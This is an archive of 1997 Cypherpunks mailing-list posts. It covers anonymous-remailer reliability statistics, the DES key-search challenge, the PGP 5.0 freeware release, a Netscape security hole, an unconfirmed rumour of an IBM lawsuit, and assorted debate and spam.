   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = " cpunk pgp special";
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = " cpunk pgp hash latent cut ek";
$remailer{"haystack"} = " cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = ' newnym pgp';
$remailer{"balls"} = " cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = ' alpha pgp';
$remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = " cpunk pgp hash latent cut ek";
$remailer{"hidden"} = " cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 16 Jun 97 6:49:32 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
weasel   config at weasel.owl.de             +--+--+--+-   1:51:30  99.94%
squirrel mix at squirrel.owl.de              +-+++-+--+-   1:48:38  99.93%
hidden   remailer at hidden.net              -###_____.+- 31:17:55  99.88%
balls    remailer at huge.cajones.com         ####+# -+##    37:39  99.73%
mix      mixmaster at remail.obscura.com     --.-.-...-.  10:15:59  99.71%
replay   remailer at replay.com              ** *  **-++*     7:46  99.62%
jam      remailer at cypherpunks.ca          ***** ++ ++*    12:39  99.58%
reno     middleman at cyberpass.net          ---+_---.---  2:05:48  99.44%
cyber    alias at alias.cyberpass.net        ** * **+++**    21:08  98.20%
winsock  winsock at rigel.cyberpass.net      ---------- -  6:05:20  98.03%
lucifer  lucifer at dhp.com                  ++  ++++-+++    42:58  97.94%
nym      config at nym.alias.net                        #     2:46  51.51%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From shamrock at netcom.com  Mon Jun 16 07:24:53 1997
From: shamrock at netcom.com (Lucky Green)
Date: Mon, 16 Jun 1997 22:24:53 +0800
Subject: We need more surveillance--a morality play about terrorism
In-Reply-To: <33A482AC.3C0E@disposable.com>
Message-ID: <3.0.2.32.19970616070059.0076d9c4@netcom13.netcom.com>



At 05:02 PM 6/15/97 -0700, Rich Graves wrote:

>A guy on the way to the shooting range is pulled over for speeding.
>The cop notices the guns, orders him out of the car, and asks where
>he's going. He answers, "Let me explain the way I think this country
>works. I am going wherever I damn well please." So the cop gives him
>a speeding ticket, and he continues on his way.
>
>Now tell me, is this evidence that we're living in a police state?
>
>Of course it probably helped that the guy was white, and probably
>driving a "decent" car, and carrying "decent" guns and not some
>"Saturday Night Special." 

The guy being white and educated may well have convinced the cop to not
make a fuzz. My local newspaper recently ran an article about a few
Hispanic looking folks who had some photographs of themselves holding guns
in their hands developed at the supermarket. Before they even picked up the
prints, the clerk had called the cops which in turn raided the unfortunate
gun owners.

It turned out that the Hispanics owned the firearms legally.

--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm






From ballman at t-1net.com  Mon Jun 16 23:03:30 1997
From: ballman at t-1net.com (ballman at t-1net.com)
Date: Mon, 16 Jun 1997 23:03:30 -0700 (PDT)
Subject: About Golf Balls
Message-ID: <>





=====> WE WANT YOU TO KNOW MORE ABOUT GOLF BALLS <=======

Lets Take Air For Example....

All of us know how tough it is to hit a good shot in windy conditions.
We assume therefore that air is just another natural element we must
out wit in order to score well.  In reality, AIR is what makes it
possible for us the hit the ball as far as we do.  The SPIN we impart
on a ball actually gives the ball lift, much like the wing on an
aircraft imparts lift.  This lift makes it possible for the ball to
stay airborne longer, enabling it to travel further.

In a vacuum, the average 250 yard drive would only travel about 180
yards.  A winged aircraft would not fly.

Air is your Friend....::))

Now here's one for you......Does a ball fly farther on a hot dry day
or cold wet day??....How about a hot humid day or a cold dry day ?

Let me know what you think.

Golfballs Unlimited USA reclaims balls from over 130 courses in 13 
states.  We stock over 50 varieties of balls.  If you're an average
player, by the time you have played 3 holes with a new ball, you are 
playing with a ball that's in much worse condition than our premium balls.

We offer the highest possible quality recycled balls available...at
direct pricing....HUGE SAVINGS over new balls.  Yes we have BALATAS.

Customer Satisfaction Is Absolutely Guaranteed.

If you would like a free catalog, just send me an email.

Click Here For Free Catalog

Regards,

Dana Jones
The Ballman

ps..I have worked carefully to see that this educational information goes only to
those who may have an interest. If you do not, please send me back message
with remove as the subject.  I will not mail you again.

Our Mission:  To Be The Best (As Determined By Our Customers)
Suppliers of Quality Recycled Golf Balls

BUY SELL TRADE







From ballman at t-1net.com  Mon Jun 16 23:03:30 1997
From: ballman at t-1net.com (ballman at t-1net.com)
Date: Mon, 16 Jun 1997 23:03:30 -0700 (PDT)
Subject: About Golf Balls
Message-ID: <>





=====> WE WANT YOU TO KNOW MORE ABOUT GOLF BALLS <=======

Lets Take Air For Example....

All of us know how tough it is to hit a good shot in windy conditions.
We assume therefore that air is just another natural element we must
out wit in order to score well.  In reality, AIR is what makes it
possible for us the hit the ball as far as we do.  The SPIN we impart
on a ball actually gives the ball lift, much like the wing on an
aircraft imparts lift.  This lift makes it possible for the ball to
stay airborne longer, enabling it to travel further.

In a vacuum, the average 250 yard drive would only travel about 180
yards.  A winged aircraft would not fly.

Air is your Friend....::))

Now here's one for you......Does a ball fly farther on a hot dry day
or cold wet day??....How about a hot humid day or a cold dry day ?

Let me know what you think.

Golfballs Unlimited USA reclaims balls from over 130 courses in 13 
states.  We stock over 50 varieties of balls.  If you're an average
player, by the time you have played 3 holes with a new ball, you are 
playing with a ball that's in much worse condition than our premium balls.

We offer the highest possible quality recycled balls available...at
direct pricing....HUGE SAVINGS over new balls.  Yes we have BALATAS.

Customer Satisfaction Is Absolutely Guaranteed.

If you would like a free catalog, just send me an email.

Click Here For Free Catalog

Regards,

Dana Jones
The Ballman

ps..I have worked carefully to see that this educational information goes only to
those who may have an interest. If you do not, please send me back message
with remove as the subject.  I will not mail you again.

Our Mission:  To Be The Best (As Determined By Our Customers)
Suppliers of Quality Recycled Golf Balls

BUY SELL TRADE







From vince at offshore.com.ai  Mon Jun 16 08:08:08 1997
From: vince at offshore.com.ai (Vincent Cate)
Date: Mon, 16 Jun 1997 23:08:08 +0800
Subject: Anguilla surpasses US military in code breaking challenge.
Message-ID: 




Press Release
Anguilla, June 16, 1997

    Anguilla surpasses US military in code breaking challenge.

The Caribbean country of Anguilla has searched through more than
2,380,000,000,000 code keys as part of the Deschall effort to break a DES
encrypted message.  This is in response to a challenge by RSA Inc to show
that DES 56 bit keys are not large enough given the rapid advances in
computing technology.  As of June 16th, the entire US military effort,
represented by Internet machine names ending in ".mil" in the Deschall
statistics pages, has searched fewer keys.  Anguilla host names end in
".com.ai".  Anguilla is a free and democratic country, that does not limit
key lengths. 

Offshore Information Services organized the Anguilla effort.  OIS also
hosted a conference in Anguilla called "Financial Cryptography 97" in
February of this year. 

Deschall:   http://www.frii.com/~rcv/deschall.htm
RSA:        http://www.rsa.com/rsalabs/97challenge/
Offshore:   http://www.offshore.com.ai/
Statistics: http://www.frii.com/~rcv/krstat/
FC97:       http://www.offshore.com.ai/fc97/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Vincent Cate                           Offshore Information Services
 Vince at Offshore.com.ai                  http://www.offshore.com.ai/
 Anguilla, BWI                          http://www.offshore.com.ai/vince
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From tzeruch at ceddec.com  Mon Jun 16 08:14:22 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Mon, 16 Jun 1997 23:14:22 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: 
Message-ID: <97Jun16.105958edt.32257@brickwall.ceddec.com>



On Sun, 15 Jun 1997, Tim May wrote:

> I'm about to abandon 3.0 and go back to 2.x. Or look at Explorer. The
> memory footprint went up dramatically (Macintosh version at least), so that
> I can no longer have all my favorite apps open. If I want to check stock
> quotes, I have to quit one of my other Internet apps.
> 
> The dancing Java ads are not worth it.
> 
> --Tim May

There is a windows console version of Lynx now.  You won't see the dancing
java ads, but will see your quotes.  If you want fancy tables, I have an
awk script which renders them.  A few more stupid AWK tricks (cygnus.com
has most GNU stuff ported), and you can type "getquote msft"  and have the
info without the ads appear.  And if "lynx -source" is too big, I have a
tiny URL to stdout program (which supports user/pass and SSL!).  It is
running now in a timed script that displays the quotes I want to a
virtual console.

Become an iconoclast, and crawl into a shell.






From constitution99 at hotmail.com  Mon Jun 16 23:40:43 1997
From: constitution99 at hotmail.com (constitution99 at hotmail.com)
Date: Mon, 16 Jun 1997 23:40:43 -0700 (PDT)
Subject: Need Your Immediate Help To Stop Censorship by FCC's Reed Hundt
Message-ID: <201702369932.CIA87782@constitution99.com>




TO THE INTERNET COMMUNITY

Need your help before June 19th

Rogue FCC (AKA FEDERAL CENSORSHIP COMMISSION) --  Chairman Hundt 
has put his sights on the 1st Amendment.  Seems free speech is inconvenient for him.   
Hundt trying to ban liquor, a legal product, advertising on TV.Makes no sense.  
Commissioners Quello and Chong telling Hundt to get lost. 
Give them your support.  Need to hear from you by June 19th.  Copy
E-mails to the addresses listed below:
rhundt at fcc.gov
rchong at fcc.gov
jquello at fcc.gov
president at whitehouse.gov
vice.president at whitehouse.gov
stopcensorship at juno.com


Censorship is alive-and-well in the good ol' U.S. of A.  Reed Hundt,
Chairman of the Federal Communications Commission wants to make it the
FEDERAL CENSORSHIP COMMISSION.  Hundt wants to ban liquor, a legal
product, advertising on TV.  Only good Americans can  reign in Hundt.
Help us to stop censorship. Let the Hundt and other FCC Commissioners
and the White House know your concerns.  Copy E-mails to the addresses
listed below: 
rhundt at fcc.gov
rchong at fcc.gov
jquello at fcc.gov
president at whitehouse.gov
vice.president at whitehouse.gov
freespeech1 at juno.com


Renegade federal regulator - FCC's Reed Hundt - trying to ban liquor
advertising on TV.  What's the difference between beer, wine and liquor?
None.  Let Hundt and other FCC Commissioners and White House know what
you think - copy e-mail to:  
rhundt at fcc.gov
rchong at fcc.gov
jquello at fcc.gov
president at whitehouse.gov
vice.president at whitehouse.gov
stopcensorship at juno.com


Right to free speech?  Renegade federal regulator - FCC's Reed Hundt -
says only beer and wine companies have right to advertise on TV.  Hundt
is trying to ban liquor advertising on TV.  Protect free speech, let FCC
and White House know what you think - copy e-mail to:  
rhundt at fcc.gov
rchong at fcc.gov
jquello at fcc.gov
president at whitehouse.gov
vice.president at whitehouse.gov
freespeech1 at juno.com













ymr - massmail





From trei at process.com  Mon Jun 16 09:18:34 1997
From: trei at process.com (Peter Trei)
Date: Tue, 17 Jun 1997 00:18:34 +0800
Subject: [DES] Anguilla surpasses US military in code breaking challe
Message-ID: <199706161546.IAA05715@toad.com>



> From:          Vincent Cate 
> To:            cypherpunks at toad.com
> Subject:       Anguilla surpasses US military in code breaking challenge.

Vince writes:

> Press Release
> Anguilla, June 16, 1997
> 
>     Anguilla surpasses US military in code breaking challenge.
> 
> The Caribbean country of Anguilla has searched through more than
> 2,380,000,000,000 code keys as part of the Deschall effort to break a DES
> encrypted message.  This is in response to a challenge by RSA Inc to show
> that DES 56 bit keys are not large enough given the rapid advances in
> computing technology.  As of June 16th, the entire US military effort,
> represented by Internet machine names ending in ".mil" in the Deschall
> statistics pages, has searched fewer keys.  Anguilla host names end in
> ".com.ai".  Anguilla is a free and democratic country, that does not limit
> key lengths. 


NOT a press release, but true.

  Framingham,MA , June 16, 1997
  
      Process Software surpasses Anguilla in code breaking challenge.
  
  The small software firm of Process Software has searched through more 
  than 25,600,000,000,000 code keys as part of an independent effort to 
  break a DES encrypted message.  This is in response to a challenge by RSA
  Inc to show that DES 56 bit keys are not large enough given the
  rapid advances in computing technology.  As of June 16th, the entire
  US military effort, represented by Internet machine names ending in
  ".mil" in the Deschall statistics pages, has searched fewer keys. 
  Anguilla host names end in ".com.ai".  

This represents 5965 2^32 key segments, or 0.035% of the total 
keyspace. We've got a long way to go.

It's worth noting that the DESChall people claim to have now
searched over 23% of the keyspace, and at the current rate will 
have searched the whole thing about 3 months from now.

They have not released their source code for independent 
evaluation. I for one would feel a lot more comfortable with
DESChall if there was at least some outside review, even if
no general release is made.

Peter Trei
trei at process.com






From jya at pipeline.com  Mon Jun 16 09:22:26 1997
From: jya at pipeline.com (John Young)
Date: Tue, 17 Jun 1997 00:22:26 +0800
Subject: DREI 97: Cryptography and Network Security
Message-ID: <1.5.4.32.19970616155214.008adc3c@pop.pipeline.com>



http://dimacs.rutgers.edu/drei/1997/schedule/DREI97_ad_Research.htm

    DIMACS Research & Education Institute 
    DREI 97 Cryptography and Network Security 
    July 28 - August 15, 1997 
    Rutgers University, NJ

    Speakers and papers (abstracts available at the site):

    Martin Abadi, Digital Systems Research Center, DEC "Strengthening Passwords"

    Ross Anderson, Cambridge University, "Medical Records Security" and
    "Steganography"

    Alex Biryukov, Technion "Cryptanalysis of the Portz Interconnection-Network
    Block-Cipher" and "Cryptanalysis of RC5"

    Daniel Bleichenbacher, Bell Labs "Comparing RSA and RSA-Type
Cryptosystems Over
    Elliptic Curves"

    Gilles Brassard, University of Montreal "The Impact of Quantum Mechanics on
    Cryptology"

    Ran Canetti, IBM "Towards Realizing Random Oracles: Hash Functions That
Hide All
    Partial Information" and "On the Adaptive Security of Multiparty Protocols"
   
    Benny Chor, Technion "Private Information Retrieval"

    Claude Crepeau, Universite de Montreal "Cryptographic Power of Noisy
Channel"
  
    Cynthia Dwork, IBM "Positive Applications to Lattices of Cryptography"
   
    Carl Ellison, Cybercash, Working Cryptanalysis of the German Enigma" and
    Key Management in the Post-Identity Era"

    Yair Frankel, Sandia "New Techniques for Sharing Cryptographic Functions"
  
    Matthew Franklin, AT&T Labs - Research, "Ecash and the Power of Positive
    Paranoia"

    Rosario Gennaro, IBM "How to Sign Digital Streams"

    Stuart Haber, Surety Technologies, "Ensuring the Integrity of Records On
Line: How to
    Time-Stamp a Digital Document"

    Jack Lacey, AT&T Labs - Research, "Music on the Internet and the
Intellectual
    Property Protection Problem"

    Susan Landau, University of Massachusetts at Amherst "Cryptology,
Technology and
    Policy"

    David P. Maher, AT&T Labs - Research "Security Models for Partially
Accounted
    E-Cash Systems"

    Dalia Malkhi, AT&T Labs - Research "Auditable Metering with Lightweight
Security"
   
    Moni Naor, The Weizmann Institute "A Formal Teatment of Remotely Keyed
    Encryption"

    Hilaire Orman, DARPA "The Imperfection of Secrecy in Real Network Protocols"

    Pino Persiano, University of Salerno "A Transparent Distributed
Cryptographic
    Filesystem" and "Randomness-Efficient Non-Interactive Zero-Knowledge Proofs"

    Marcus Ranum, Network Flight Recorder, Inc., "Hacking and Networked
Terrorism"
    and "Problems with the Firewall Concept"

    Mike Reiter, AT&T Labs - Research "Toward Acceptable Metrics of
Authentication"
  
    Fred Schneider, Cornell University "Mobile Code Security Issues"
  
    Rich Schroeppel, University of Arizona "Fast Arithmetic in GF[2^156]"

    Adi Shamir, The Weizmann Institute "A New Paradigm for Massively
Parallel Random
    Search" and "Cryptanalytic Fault Attacks"

    Martin Strauss, AT&T Labs - Research "Proxy Cryptography" and "A Formal
Teatment
    of Transactional Trust Management"

    Edlyn Teske, University of Manitoba "Space Efficient Group Structure
Computation
    Using Pollard's $\rho$-Method"







From whgiii at amaranth.com  Mon Jun 16 09:23:59 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 17 Jun 1997 00:23:59 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: 
Message-ID: <199706161604.LAA19766@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/15/97 
   at 08:57 AM, Tim May  said:

>At 1:15 AM -0700 6/15/97, Tom Weinstein wrote:
>>Ross Wright wrote:
>>>
>>> On or About 13 Jun 97 at 18:35, Tom Weinstein wrote:
>>>
>>> > week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.
>>>
>>> Saw this post to Cypherpunks.  I hate to sound less than savvy, but I
>>> use 2.02.  You guys are gonna help us who refuse to upgrade, right.
>>
>>Sorry, but we don't have any plans to respin 2.x at this time.  If we
>>get enough requests for it, it might be possible to change our mind,
>>though.

>I'm about to abandon 3.0 and go back to 2.x. Or look at Explorer. The
>memory footprint went up dramatically (Macintosh version at least), so
>that I can no longer have all my favorite apps open. If I want to check
>stock quotes, I have to quit one of my other Internet apps.

>The dancing Java ads are not worth it.

Has Lynx been ported to the Mac? You might want to just write your own. If
your not intrested in all the N$ crap (frames, animated Gifs, cookies,
...) it is really quite easy code to write a few socket calls and parsing
of some text. I wrote one over a weekend that handles 99% of my web
browsing needs.

I haven't looked at the Macs in a long time, when I did the hardware was
not up to handling the GUI, does the current OS support a "text mode" or
must everything be GUI?


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6Vkso9Co1n+aLhhAQFOMgP8DP7e/hIUJWZg9rG6LN+9AQ9cEx5fdCvj
gfi87SJy7Xy5opdznWtjgz4hFnxQg29sObe+avFu9LOOQZpStJ4dC5YeGeamk5z5
YlVba8L30Hmky54O8eRdbutFJqxZgQa9+1BzOxnyHHVORM3X7IWr1QTi9+TTAp+s
WezhXZShmCE=
=xh6R
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Mon Jun 16 09:45:34 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 17 Jun 1997 00:45:34 +0800
Subject: IBM sues critics?
Message-ID: <199706161623.LAA20012@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----


In <1.5.4.32.19970614201321.009a8b38 at pop.pipeline.com>, on 06/14/97 
   at 04:13 PM, John Young  said:

>Secret Squirrel wrote:
>>According to a usually reliable contact in a position to know, IBM Friday
>>filed a liable suit against the 11 authors of the study
>>titled "The risks of key recovery, key escrow and trusted third-party
>>encryption" plus their employers and the Centere for Democracy and
>>Technology, which sponsored the report.  According to my contact, IBM
>>feels that the report directly targets their own key recovery system,
>>and falsely implies that it isn't reliable.  They are asking for
>>unspecified damages.


>If this report is true it's worth taking a look at IBM's policy paper
>"The need for a global cryptographic policy framework" to  understand why
>the key study report is such a threat to
>Blue's global market strategy:

>   http://www.ibm.com/security/html/pp_global.html

>IBM's economic incentive to attack the report is substantial, not least
>because it hopes to garner the lion's share of global GAK --
>not that that's news.


Has there been any conformation on this?

I would like to get in touch with some of my contacts at IBM but would
like to have some info on this first.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6VncI9Co1n+aLhhAQE7VQQAuDOBM3aqTCbaK/5nPLl1TLaAkHWSIC4h
/eOJFw7/EJ1ZQWGj5lxHg2es6+MFSrue5/KnOn0evsJtLnQjX4icYyhzhao2cXYY
9EPaew0FMLHRtJrB0sXlWOeyteRqFstVEkQb7jtqUqxbjNU1A/FZlbr7dclRZ56B
nVTBAqZBOzA=
=tD2h
-----END PGP SIGNATURE-----






From paul at fatmans.demon.co.uk  Mon Jun 16 10:13:08 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 17 Jun 1997 01:13:08 +0800
Subject: Declan as a Budding Washington Insider
In-Reply-To: 
Message-ID: 




> I mean, geez, if nothing else, look at what I've been writing. Last
> Thursday I wrote about how the Federal government should get out of the
> business of "protecting privacy." On Friday I wrote about how "protecting
> children" from animated cartoon images is another pretext for
> Net-censorship. Who else is saying that?

I must side with Declan here, true, sometimes Declans articles show a 
subtle hint of insiderism , but I believe that is an inevitable 
consequence of working around people in D.C. who don`t want to be 
directly associated with certain statements, to quote them against their 
will would be journalistic suicide and would soon see Declan with no 
contacts whatsoever. 

Also, although his articles are often written to be readable by the 
uninformed rather than security experts or cryptographers they often 
raise important points. Remember, although through Declan and John Young 
we have a lot of current news posts coming on to the list the average AOL 
account owning newbie won`t know about these things and reading some of 
Declans articles might just get them thinking.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From tcmay at got.net  Mon Jun 16 10:49:22 1997
From: tcmay at got.net (Tim May)
Date: Tue, 17 Jun 1997 01:49:22 +0800
Subject: Declan as a Budding Washington Insider
In-Reply-To: 
Message-ID: 



At 4:26 AM -0700 6/16/97, Paul Bradley wrote:
>> I mean, geez, if nothing else, look at what I've been writing. Last
>> Thursday I wrote about how the Federal government should get out of the
>> business of "protecting privacy." On Friday I wrote about how "protecting
>> children" from animated cartoon images is another pretext for
>> Net-censorship. Who else is saying that?
>
>I must side with Declan here, true, sometimes Declans articles show a
>subtle hint of insiderism , but I believe that is an inevitable
>consequence of working around people in D.C. who don`t want to be
>directly associated with certain statements, to quote them against their
>will would be journalistic suicide and would soon see Declan with no
>contacts whatsoever.

Some of you, including Declan, have read too much in my comments. I did not
say he _had_ sold out, I said in several places there is a well-known
danger of becoming assimilated by the Washington system. Reread what I said.

(By the way, I've never suggested Declan would lose his ideological
bearings. Democrats and Republicans who become assimilated remain true to
their roots, but they see everything as part of a larger system, a
negotiation. They lose their ability to see in outside the Beltway simple
terms. The giveaway will be if and when Declan begins to say that things
are not so simple.)

>Also, although his articles are often written to be readable by the
>uninformed rather than security experts or cryptographers they often
>raise important points. Remember, although through Declan and John Young
>we have a lot of current news posts coming on to the list the average AOL
>account owning newbie won`t know about these things and reading some of
>Declans articles might just get them thinking.

Without intending to criticize Declan, I see nothing especially new or
insightful in his pieces. Stuff we've covered many times. The main
attention given to his articles comes from, I strongly suspect, our
projection that the sheeple are reading and being persuaded by his articles.

But, all part of the traditional "journalist as celebrity" path. No, this
is not jealousy speaking....I'm rather satisfied with my rate of pay over
the years compared to what I might have earned in journalism! And if I
really wanted to speak to the masses, I'd be more diligent in pursuing book
deals.

I wish Declan well, really. But his frequent name-dropping about soirees
he's been invited to, bigwigs he's had power lunches with...well, I think
the evolution has been set in motion. "Things are not as simple as
libertarians would have us believe."?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From alano at teleport.com  Mon Jun 16 10:49:23 1997
From: alano at teleport.com (Alan)
Date: Tue, 17 Jun 1997 01:49:23 +0800
Subject: IBM sues critics?
In-Reply-To: <19970614184538.11070.qmail@squirrel.owl.de>
Message-ID: 



On 14 Jun 1997, Secret Squirrel wrote:

> This means IBM is suing such people as Matt Blaze, Whitfield
> Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT
> over the question of whether its key recovery system really works.
> Considering that truth is a defense and the details of the
> IBM system could be part of the defense's evidence, it should be an
> interesting trial to say the least.

Has anyone asked Matt Blaze and/or any of the others mentioned above if
they have heard anything about this?

[I would do so myself, but I am away from my address lists, other than the
memorized ones.]

alano at teleport.com | "Those who are without history are doomed to retype it."






From jis at mit.edu  Mon Jun 16 11:44:10 1997
From: jis at mit.edu (Jeffrey I. Schiller)
Date: Tue, 17 Jun 1997 02:44:10 +0800
Subject: [ANNOUNCE] PGP 5.0 Freeware is available from MIT
Message-ID: <199706161755.NAA01250@road-warrior-177.mit.edu>



-----BEGIN PGP SIGNED MESSAGE-----

To: The PGP Community
From: Jeffrey I. Schiller 
Subject: PGP 5.0 Freeware is available from MIT

I am pleased to announce the availability of PGP 5.0 Freeware from the
MIT Web Site. PGP 5.0 Freeware is available for non-commercial use under
license from MIT, PGP Inc. It uses the RSAREF toolkit licensed from RSA
Data Security.

This new version is a long awaited major upgrade and improvement to PGP
2.6.2. It has a native Windows '95, Windows NT and Macintosh interface.
It supports additional ciphers, as well as new key types and message
formats. Internally it is much improved as well.

This release marks a major transition to a new public key infrastructure
based on the Diffie-Hellman (DH) public key algorithm for privacy and
the Digital Signature Standard (DSS) for digital signatures. The RSA
algorithm is still supported and this version will work with the old RSA
keys you may already have. However all new keys generated by this
version will be DH/DSS keys. Many of the internal performance
improvements are only available when used exclusively with DH/DSS keys
(this is because using RSA keys requires PGP 5.0 to be backward
compatible with PGP 2.6.2 which requires PGP 5.0 to use less efficient
message formats).

This version also includes automated keyserver support. It can
automatically fetch PGP keys from the MIT keyserver (and other
keyservers) as well as offer to upload any newly created keys.

It also comes with plug-ins for Eudora and other major mail utilities.

At the moment it is only available for Windows '95, NT and MacOS. A Unix
(Linux) version is in the works but isn't ready yet, but we hope to have
it ready within a week or two.

Source code for this version was distributed at last weekend's
cypherpunks meeting in hard copy form. Source will eventually be made
available electronically, but isn't ready yet.

You can find the Freeware PGP at either the PGP Home Page at:

  http://web.mit.edu/network/pgp.html

or directly at:

  http://web.mit.edu/network/pgp-form.html

Note: We anticipate a significant amount of traffic while people
throughout the U.S. and Canada download PGP. Please be patient with the
server (and with us)!

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6V9psUtR20Nv5BtAQE9IgP+OuB+wHml5C47s3YJjfbNq+3FWmql+DrG
AE5Dag8aahKGf73SYHByhCZXowCzE0g8QeAx9VYpXy9CHp5GiSE8Iks1/U0AKz1h
cxcQ2Etp7x2js9GAfP8ueD01RlIguQsh2hIP0cU9ymy8Fn1b7OscWk9hhmDjgBpv
O36Lt5gPBwM=
=+zQC
-----END PGP SIGNATURE-----






From stewarts at ix.netcom.com  Mon Jun 16 11:56:43 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 17 Jun 1997 02:56:43 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: <199706132241.PAA09924@fat.doobie.com>
Message-ID: <3.0.2.32.19970616095518.00751b44@popd.ix.netcom.com>



At 06:08 PM 6/13/97 -0700, Eric Murray wrote:
>Of course that's IDEA-encrypted (or maybe something better in PGP 5) so
>the attacker would need a lot of compute power to brute-force the key.
>I wouldn't worry too much about someone getting my secring.pgp.  However
>I would worry about them getting my mail folder, my .rhosts, my
>/etc/password, etc.

This is one area where evil mail reader clients like Microserf Mail
do better than decent mail clients.  The MSMail mailbox is one huge file,
structure undocumented, encrypted with an algorithm strong enough to
defeat Stacker/Doublespace and prevent you from repairing the file
if it's corrupted* but not strong enough to keep the NSA out.
MSMail encourages you to send MSWord attachments and Powerpoint graphics
instead of just writing text, so it's not uncommon to have a 
